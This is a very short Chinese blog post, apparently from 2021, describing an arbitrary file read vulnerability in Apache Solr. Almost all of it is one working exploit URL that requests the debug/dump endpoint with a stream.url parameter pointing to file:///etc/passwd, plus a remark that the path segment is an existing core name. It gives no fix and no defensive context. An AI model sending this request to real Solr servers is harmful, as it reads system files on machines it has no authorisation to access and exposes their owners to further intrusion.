Apache Solr 存在任意文件读取

访问:http://ip//solr/db/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd  (db为存在的应用名)

posted @ 2021-04-09 16:07  逗比大师  阅读(158)  评论(0编辑  收藏  举报